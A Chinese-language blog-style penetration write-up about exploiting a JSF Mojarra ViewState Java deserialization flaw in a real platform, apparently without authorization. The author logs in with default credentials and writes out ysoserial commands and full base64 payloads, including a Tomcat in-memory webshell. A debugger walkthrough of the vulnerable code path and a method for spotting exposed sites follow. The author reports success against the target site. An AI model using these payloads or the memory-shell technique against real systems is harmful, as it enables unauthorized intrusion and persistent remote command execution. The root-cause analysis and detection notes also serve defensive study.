前言
群里有师傅问XXX平台有没有日过,恰好我也是第一次知道这个系统,于是fofa找了一个语法,看了一下。
渗透测试
通过关键字搜索,找到该系统的部署手册,知道了默认密码,因此直接就进了后台。这个时候就开始找上传点了,看能不能直接getshell。
反序列化漏洞发现
在某个功能点上进行抓包的时候,突然发现了一个熟悉的数据。
即H4sIAAAAAAAAAN...
恰好这玩意之前写过它的解密算法和加密算法脚本,因此一眼看出密文是通过pako算法生成的。因此丢到之前写的脚本进行解密。
解密后发现明文里面包含java的关键字,因此察觉出这里可能存在一个代码执行漏洞。
于是百度搜了一下和javax.faces.ViewState
有关的相关漏洞。
发现还真就存在一个反序列化漏洞,于是根据教程复现了一下。
https://blog.csdn.net/weixin_44193247/article/details/122837416
寻找利用链
利用链的寻找,参考的是下面这个链接。
https://securitycafe.ro/2017/11/03/tricking-java-serialization-for-a-treat/
这里稍微做了一点修改,并将脚本和ysoserial
放在一个目录下。
https://github.com/frohoff/ysoserial
1 | import os |
利用burpsuite
的intruder模块
进行探测利用链。
漏洞确定存在
由于是使用的ping
命令去探测的利用链,因此dnslog的回显,也能证明出可以进行rce了。
百度搜了一下相关的漏洞复现和利用文章,发现都是再教你怎么弹计算器、如何以bash或nc的方式进行权限反弹。利用调节都弹苛刻了,不太喜欢,因此就开始找能否写内存马,或者写入webshell的方式。
环境搭建
docker拉环境
https://github.com/vulhub/vulhub/blob/master/mojarra/jsf-viewstate-deserialization/README.zh-cn.md
发现有现成的docker
环境。
这里拉完docker后,直接将镜像给打包,拿到里面的源码。
(别问为什么不远程调试,问就是不会)
漏洞环境搭建
然后源码丢到idea,配置好环境后,就直接运行了。
这里为了和目标环境一样,因此jdk设置成了7u21版本,并把lib目录下的依赖全部丢了进去。
再次本地测试,找到Groovy1
、CommonsCollections6
、CommonsCollections3
、CommonsCollections1
、jdk7u21
等5个利用链可以用。
jsf viewstate反序列化漏洞审计
计算器payload
这里以jdk7u21利用链为审计例子
java -jar ysoserial.jar Jdk7u21 "cmd.exe /c calc.exe" | gzip | base64 -w 0 >123456789.txt
1 | H4sIAMDdcGMAA4VUTW8bRRh+xq4/YpwmTklC+VKQqJr2MBuRxC2kgrZBUS1Mi5q0lfDBjNcTe9vd2WV2Ntkc6I2fUP4B4kAuvdCqB6SKW8uFE6gVAn5ATxUSFz7eWTs4wgdG9s7M+877zszzPs/sP0Mh1pi/KXYET4zn86anbsnuJRH3N6X5yf/x4zs/n349B6QatdGqof/B+5/f+eL+vZU8+aPdKoDp987DthxlfccNAx4nioe6x0Uk3L7kqfCF4p4yUivh8zT2jcuNFinfkkHkCyPjBvUTN648VPtfL+dRbGCy7amuVOZyEnSkbuBomwJU7EvTIHvaQqXd2TPSDbsyNsi3WhdbKLZdX8Q0nWk17bEd2rbnrFvbWhOFthKBJOch36bRnuqRs9YOExMl5iMdRlIbzyadGyy0d3dG9rU0snf9m1qis40/+PP4bK/39IwFzPoY2XOti/vP5/8olrd+HZrZL4/+evAtuZfxKkNt5czZ+lL97Xq9vrS6ulJfXiqBMUyPjnalc1O6poQ8Q2UzTLQrNzxfMsyNRXIbxFA+5/qe8sy7DPnFU9cZjqwTOGxQwUHOq4kyXiBLqFDSnjTDOcPs4qnm2LK1KqqYrOAFHGU45gZdLlO54LgLrvBdOy5jmnahgctwcnEc1sM5CUBXUh2qmMExm/NFhslNI9xbH4poS3Ts1c4TdxzijkPccQbccTLuOAfccTLuOHpwQOdCJyZWuGZrSI0S5hmK5zIUqjiOcgUv4WW8gRz1GUNRRon+DBM0exN5sgBTXxHKzfuYmql9g9kbd20NMUffPBj9bKJhRI16Rn3h9D28cjdLyVDIEhcjAyaiXYY0/iyzv2Zvn/I08HnG3e1QByPGpwcKtPBwLbd9KjcnmNK9304+Wfh+ev1xDqwJ1jc4cQjI4UqnoXZCVxgvVJeE6vpSEzFJf29Z7R1kE0qFJlvDL/w7HAu89uj3qdnHt7/MIddENZBWcNeFn1gNTB3SABWKlHLE7EWkotqYwrLt//NcUEih9OThd3Of/EBQb6Dih6K7QRULSdITpq9l3A/9bhoNX5Dqbtm+JxY+g/L2qlgV9aWzn+I2yumO/h9EMWpplP4DxbjfO+YEAAA= |
首先计算器没毛病
调用堆栈分析
1 | java.io.EOFException |
在web.xml
中可以看见jsf
、xhtml
、faces
等后缀的请求都是由javax.faces.webapp.FacesServlet
来处理的。
进入调试模式,并发送数据包,此时可以看见*.xhtml
后缀是进入到该FacesServlet
中进行处理。
调用this.lifecycle.execute(context);
com.sun.faces.lifecycle.LifecycleImpl
`
进入到this.phases[i].doPhase(context, this, this.listeners.listIterator());
这里以遍历方式调用com.sun.faces.lifecycle.RestoreViewPhase
中的doPhase
doPhase
中分别加载了response
、RestoreViewPhase
、ApplyRequestValuesPhase
、ProcessValidationsPhase
、UpdateModelValuesPhase
、InvokeApplicationPhase
、CopyOnWriteArrayList
执行到viewHandler.restoreView(facesContext, viewId);
这里是用来获取请求路径中的*.xhtml
,用于获取对应位置的viewstate
视图com.sun.faces.application.view.FaceletViewHandlingStrategy.restoreView
Object incomingState = rsm.getState(context, viewId);
com.sun.faces.renderkit.ResponseStateManagerImpl.getState
执行到this.helper.getState(context, viewId);
com.sun.faces.renderkit.ClientSideStateHelper.getState
在getState
中stateString
的值是javax.faces.ViewState
,即传入的计算器的payload
。
走else逻辑
,并调用了doGetState
。
在doGetState
中,stateString
先base64解码
,然后再gzip解码
(即pako算法)。
在doGetState
中,通过ois.readObject()
,触发了反序列化。
漏洞利用
一开始了,想自己写这段功能的代码,结果由于自己没研究过反序列化漏洞,并且也没研究过内存马,这里也就卡死了很久很久。
后面突然想到前面计算机能打成功的原因是因为我用了ysoserial
中的利用链生成的payload
。
隐约之中好像在哪见过有反序列化工具
可以直接生成内存马的payload
了。
于是github
找了一下,找到了一个符合我现在需求的一个被改造过的ysoserial
。
https://github.com/su18/ysoserial/
内存马注入
因为ysoserial
工具不一样了,所以这里还得探测一下利用链。
脚本还是上面那个,改一下链子所在的列表。
1 | import os |
这里以CommonsBeanutils2NOCC
链子为例,打一个tomcat
的cmd内存马
.java -jar ysuserial-0.9-su18-all.jar -g CommonsBeanutils2NOCC -p 'EX-MS-TSMSFromThread-cmd'|gzip|base64 -w 0 > 123456789.txt
1 | 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 |
命令执行
添加作者设置的参数。
执行whoami
,成功回显。
然后再目标站点也利用成功。
后续
由于那个路由是我在后台的抓数据包的时候看到的,且删cookie后,重定向至登录接口。在我没审计这个漏洞之前,我也以为这个漏洞只能登录后才能利用。
实际上由于所有的jsf
、faces
、xhtml
后缀都是由javax.faces.webapp.FacesServlet
处理的,也就是说,不存在的路由,且后缀只要是这三个,也会被它处理,因此这个漏洞也是前台可利用的。
以我本机情况为例子。
重启服务器后,内存马也就被删除了。
此时访问一个不存在的jsf路由。
并设置javax.faces.ViewState
的值是刚才内存马的payload
可以看见,处理流程也就是反序列化的流程。
可以看见内存马是注入成功了的,能正常的命令执行。(这里我是自己编译的反序列化工具,因此路径和参数会变化)
那么如何去判断网站是否存在该漏洞?
直接以post方法
传入参数javax.faces.ViewState
去访问/xxx.jsf
、/xxx.faces
、/xxx.xhtml
路由。
页面报错,响应码是500,且页面响应内容包含javax.faces.webapp.FacesServlet
,就有可能存在这个反序列化漏洞。
参考
https://www.cnblogs.com/nice0e3/p/16205220.html
https://github.com/vulhub/vulhub/blob/master/mojarra/jsf-viewstate-deserialization/README.zh-cn.md
https://github.com/su18/ysoserial/blob/master/ReadMe_CN.md